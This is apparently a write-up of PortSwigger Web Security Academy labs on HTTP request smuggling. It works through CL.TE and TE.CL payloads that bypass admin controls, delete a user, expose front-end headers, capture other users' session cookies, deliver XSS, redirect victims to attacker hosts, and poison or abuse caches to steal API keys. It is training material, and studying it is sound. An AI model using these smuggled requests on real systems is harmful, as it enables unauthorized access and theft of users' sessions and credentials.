Using HTTP Request Smuggling to Bypass Front-end Security Controls
In some applications, the front-end server enforces security controls and forwards allowed requests to the back-end server, which trusts them without further checks. An HTTP request smuggling vulnerability can bypass these controls by smuggling in a request to a restricted URL.
Suppose the current user is permitted to access /home but not /admin. They can bypass this restriction using the following request smuggling attack including two requests (assume that this is CL.TE vulnerability):
POST /home HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 62Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: vulnerable-website.comFoo: x
GET /home HTTP/1.1Host: vulnerable-website.com...
The front-end server sees two requests here, both for /home, and so the requests are forwarded to the back-end server. However, the back-end server sees one request for /home and one request for /admin:
HTTP/1.1 401 UnauthorizedContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINConnection: closeContent-Length: 2676...Admin interface only available to local users
Info
View the solution, found that I need to add Host: localhost into the smuggled request to access localhost/admin instead of LAB-ID.web-security-academy.net/admin.
The modified attack request:
POST / HTTP/1.1Content-Length: 49Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: localhostFoo: x
Response of the second request shows a problem:
HTTP/1.1 400 Bad RequestContent-Type: application/json; charset=utf-8X-Content-Type-Options: nosniffConnection: closeContent-Length: 50{"error":"Duplicate header names are not allowed"}
To overcome this problem, I need to add x= at the end of the smuggled request’s body:
POST / HTTP/1.1Content-Length: 47Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: localhostx=
This will convert remaining header lines of the subsequent request into request body. When doing this, the smuggled request does not have Content-Type or Transfer-Encoding so it can not be a valid request.
Add Content-Type as it easier to specify how many bytes we want to include in our smuggled request’s body:
POST / HTTP/1.1Content-Length: 66Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: localhostContent-Length: 3x=
Response shows that we can access /admin at localhost:
The back-end server doesn’t support chunked encoding (TE.CL). There’s an admin panel at /admin, but the front-end server blocks access to it.
To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Same with previous lab, we got 401 status code if not using Host: localhost:
POST / HTTP/1.1Content-Length: 4Transfer-Encoding: chunked28GET /admin HTTP/1.1Content-Length: 60
HTTP/1.1 401 UnauthorizedContent-Type: text/html; charset=utf-8Set-Cookie: session=MsBKJ6sCwFMDtOexLTqyABE9h69R8cHn; Secure; HttpOnly; SameSite=NoneX-Frame-Options: SAMEORIGINConnection: closeContent-Length: 2676...Admin interface only available to local users
POST / HTTP/1.1Content-Length: 4Transfer-Encoding: chunked51POST /admin/delete?username=carlos HTTP/1.1Host: localhostContent-Length: 60
Revealing Front-end Request Rewriting
In many applications, the front-end server rewrites requests before forwarding them to the back-end, often by adding headers such as X-Forwarded-For header with the user’s IP.
If your smuggled requests lack headers typically added by the front-end, the back-end server might not handle them correctly, causing the attack to fail.
To reveal how the front-end rewrites requests, follow these steps:
Find a POST request that reflects a parameter in the application’s response.
Arrange the parameters so that the reflected one appears last in the body.
Smuggle this request to the back-end, followed by the normal request whose rewritten form you want to reveal.
Suppose an application has a login function that reflects the value of the email parameter:
POST /login HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 28email=wiener@normal-user.net
This results in a response containing the following:
The requests will be rewritten by the front-end server to include the additional headers, and then the back-end server will process the smuggled request and treat the rewritten second request as being the value of the email parameter:
Since the final request is being rewritten, you don’t know how long it will end up. The solution is to guess an initial value that is a bit bigger than the submitted request, and then gradually increase the value to retrieve more information, until you have everything of interest.
Lab: Exploiting HTTP Request Smuggling to Reveal Front-end Request Rewriting
Abstract
Front-end server doesn’t support chunked encoding (CL.TE).
There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name.
To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.
POST / HTTP/1.1Content-Length: 52Transfer-Encoding: chunked0POST / HTTP/1.1Content-Length: 100search=
Bypass header checking of back-end server
The attack request will be rewritten to have the hidden header and then will be forwarded to back-end server. When back-end server receive the forwarded request, it sees the hidden header added by the front-end server so it will process without knowing that the smuggled request does not have this header.
The next rewritten request will be placed into the value of search param of the smuggled request.
Found a header named X-hEHkXT-Ip in the response of the smuggled request:
Finally, update the smuggled request to delete carlos user:
POST / HTTP/1.1Content-Length: 97Transfer-Encoding: chunked0POST /admin/delete?username=carlos HTTP/1.1X-hEHkXT-Ip: 127.0.0.1Content-Length: 3x=
Bypassing Client Authentication
As part of the TLS handshake, servers authenticate themselves with the client (usually a browser) by providing a certificate. This certificate contains their “common name” (CN), which should match their registered hostname.
Some sites implement a form of mutual TLS authentication, where clients must also present a certificate to the server. Moreover, front-end servers sometimes append a header containing the client’s CN to any incoming requests:
GET /admin HTTP/1.1Host: normal-website.comX-SSL-CLIENT-CN: carlos
As these headers are supposed to be completely hidden from users, they are often implicitly trusted by back-end servers. Assuming you’re able to send the right combination of headers and values, this may enable you to bypass access controls.
POST /example HTTP/1.1Host: vulnerable-website.comContent-Type: x-www-form-urlencodedContent-Length: 64Transfer-Encoding: chunked0GET /admin HTTP/1.1X-SSL-CLIENT-CN: administratorFoo: x
Smuggled requests are hidden from the front-end altogether, so any headers they contain will be sent to the back-end unchanged.
Capturing Other Users’ Requests
If the application contains any kind of functionality that allows you to store and later retrieve textual data, you can potentially use this to capture the contents of other users’ requests. These may include session tokens or other sensitive data submitted by the user.
For example, suppose an application uses the following request to submit a blog post comment, which will be stored and displayed on the blog:
POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 154Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAOcsrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
Now consider what would happen if you smuggle an equivalent request with an overly long Content-Length header and the comment parameter positioned at the end of the request as follows:
When another request is sent to the back-end server down the same connection, some first bytes are effectively appended to the smuggled request as follows:
If you encounter a timeout, this probably means that the Content-Length you’ve specified is higher than the actual length of the victim’s request. In this case, simply reduce the value until the attack works again.
Note
One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the & character, meaning that the content that is stored from the victim user’s request will end at the first &, which might even appear in the query string.
Lab: Exploiting HTTP Request Smuggling to Capture Other Users’ Requests
Abstract
Front-end server doesn’t support chunked encoding (CL.TE).
To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.
Value of Content-Length is derived from trials and errors.
When sending the above attack request twice:
HTTP/1.1 400 Bad RequestContent-Type: application/json; charset=utf-8X-Frame-Options: SAMEORIGINConnection: closeContent-Length: 22"Invalid blog post ID"
Try it some more until the responses are constantly like this:
HTTP/1.1 400 Bad RequestContent-Type: application/json; charset=utf-8X-Frame-Options: SAMEORIGINConnection: closeContent-Length: 22"Invalid blog post ID"
Reload the blog post and found a GET request that contains user request:
Using HTTP Request Smuggling to Exploit Reflected XSS
If an application is vulnerable to HTTP request smuggling and also contains Reflected XSS, you can use a request smuggling attack to hit other users of the application. This approach is superior to normal exploitation of reflected XSS in two ways:
It requires no interaction with victim users. You just smuggle a request containing the XSS payload and the next user’s request that is processed by the back-end server will be hit.
It can be used to exploit XSS behavior in parts of the request that cannot be trivially controlled in a normal reflected XSS attack, such as HTTP request headers.
For example, suppose an application has a reflected XSS vulnerability in the User-Agent header. You can exploit this in a request smuggling attack as follows:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 63Transfer-Encoding: chunked0GET / HTTP/1.1User-Agent: <script>alert(1)</script>Foo: X
Lab: Exploiting HTTP Request Smuggling to Deliver Reflected XSS
Abstract
Front-end server doesn’t support chunked encoding (CL.TE).
The application is also vulnerable to reflected XSS via the User-Agent header.
To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).
This is how User-Agent is reflected:
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36">
Construct an attack request:
POST /post/comment HTTP/1.1Content-Length: 99Transfer-Encoding: chunked0GET /post?postId=10 HTTP/1.1User-Agent: "><script>alert(1)</script>Content-Length: 3x=
HTTP/1.1 400 Bad RequestContent-Type: application/json; charset=utf-8X-Frame-Options: SAMEORIGINConnection: closeContent-Length: 22"Invalid blog post ID"HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8Set-Cookie: session=562O0PxWe2nJq004VQTNy5VkSnWSUvIN; Secure; HttpOnly; SameSite=NoneX-Frame-Options: SAMEORIGINConnection: closeContent-Length: 12658...<input required type="hidden" name="userAgent" value=""><script>alert(1)</script>
Send the attack request couple times to solve the lab.
Using HTTP Request Smuggling to Turn an On-site Redirect into an Open Redirect
Many applications perform on-site redirects from one URL to another and place the hostname from the request’s Host header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:
GET /home HTTP/1.1Host: normal-website.comHTTP/1.1 301 Moved PermanentlyLocation: https://normal-website.com/home/
This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 54Transfer-Encoding: chunked0GET /home HTTP/1.1Host: attacker-website.comFoo: X
The smuggled request will trigger a redirect to the attacker’s website, which will affect the next user’s request that is processed by the back-end server. For example:
GET /home HTTP/1.1Host: attacker-website.comFoo: XGET /scripts/include.js HTTP/1.1Host: vulnerable-website.comHTTP/1.1 301 Moved PermanentlyLocation: https://attacker-website.com/home/
In some cases, you may encounter server-level redirects that use the path to construct a root-relative URL for the Location header, for example:
GET /example HTTP/1.1Host: normal-website.comHTTP/1.1 301 Moved PermanentlyLocation: /example/
This can potentially still be used for an open redirect if the server lets you use a protocol-relative URL in the path:
GET //attacker-website.com/example HTTP/1.1Host: vulnerable-website.comHTTP/1.1 301 Moved PermanentlyLocation: //attacker-website.com/example/
Using HTTP Request Smuggling to Perform Web Cache Poisoning
If any part of the front-end infrastructure performs caching of content (generally for performance reasons), then it might be possible to poison the cache with the off-site redirect response. This will make the attack persistent, affecting any user who subsequently requests the affected URL.
Lab: Exploiting HTTP Request Smuggling to Perform Web Cache Poisoning
Abstract
Front-end server doesn’t support chunked encoding (CL.TE). The front-end server is configured to cache certain responses.
To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.
Found an on-site redirect in this request:
GET /post/next?postId=7 HTTP/2Host: 0aa0007e04ce51ae8351bf3b00710096.web-security-academy.net
POST / HTTP/1.1Content-Length: 129Transfer-Encoding: chunked0GET /post/next?postId=1 HTTP/1.1Host: exploit-0a9d00f204b351e3835cbe5a016c000b.exploit-server.netContent-Length: 3x=
Note
We can not use trailing header such as:
Content-Length: 111Transfer-Encoding: chunked0GET /post/next?postId=1 HTTP/1.1Host: exploit-0aaa00aa04cd766281d0b5bd019f00df.exploit-server.netFoo: x
Response shows that we can not duplicate headers:
HTTP/1.1 400 Bad RequestContent-Type: application/json; charset=utf-8X-Content-Type-Options: nosniffConnection: closeContent-Length: 50{"error":"Duplicate header names are not allowed"}
Send the attack request twice, the second response indicates that we can redirect to an off-site URL:
Now, the cache of front-end server is poisoned. Any subsequent requests to /resources/js/tracking.js will be redirected to https://exploit-0a9d00f204b351e3835cbe5a016c000b.exploit-server.net/post?postId=2, which contains our malicious JavaScript code.
Using HTTP Request Smuggling to Perform Web Cache Deception
This works similarly to the web cache poisoning attack but with a different purpose.
What is the difference between web cache poisoning and web cache deception?
In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 43Transfer-Encoding: chunked0GET /private/messages HTTP/1.1Foo: x
The next request from another user that is forwarded to the back-end server will be appended to the smuggled request, including session cookies and other headers. For example:
GET /private/messages HTTP/1.1Foo: XGET /static/some-image.png HTTP/1.1Host: vulnerable-website.comCookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z...
The front-end server caches this response against what it believes is the URL in the second request, which is /static/some-image.png:
GET /static/some-image.png HTTP/1.1Host: vulnerable-website.comHTTP/1.1 200 Ok...<h1>Your private messages</h1>...
Note
An important caveat here is that the attacker doesn’t know the URL against which the sensitive content will be cached, since this will be whatever URL the victim user happened to be requesting when the smuggled request took effect. The attacker might need to fetch a large number of static URLs to discover the captured content.
Lab: Exploiting HTTP Request Smuggling to Perform Web Cache Deception
Abstract
Front-end server doesn’t support chunked encoding (CL.TE). The front-end server is caching static resources.
To solve the lab, perform a request smuggling attack such that the next user’s request causes their API key to be saved in the cache. Then retrieve the victim user’s API key from the cache and submit it as the lab solution. You will need to wait for 30 seconds from accessing the lab before attempting to trick the victim into caching their API key.
You can log in to your own account using the following credentials:Â wiener:peter
Found that this request has API key in its response:
GET /my-account?id=wiener HTTP/2Host: 0ab10010044299dc80ee763500b2002f.web-security-academy.netCookie: session=YWArazLnWX4kmuQSqcTthtgsQ2YPXhhK
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 6545...<div>Your API Key is: DP4zfl5wFK4kUS9EuTaDTYiq5gGaIM2I</div>
Without the id param, the response still have the API key.
Construct an attack request to my-account endpoint:
POST / HTTP/1.1Content-Length: 37Transfer-Encoding: chunked0GET /my-account HTTP/1.1Foo: x
Send this request a couple of times.
Then, open the / endpoint in an incognito browser. This is because the home page has a lot of resources (images, scripts, styles, etc) and loading in an incognito browser will fetch all of the resources disregarding the cache.
Use “Search” feature of Burp Suite to find any resource that has “API” string. Or, we can find it manually.
And it is /resources/js/tracking.js resource. Send request to this endpoint and found API key of administrator:
<p>Your username is: administrator</p><div>Your API Key is: N7KY13rnQ128ZJQtC5rtiLiFX6gw772n</div>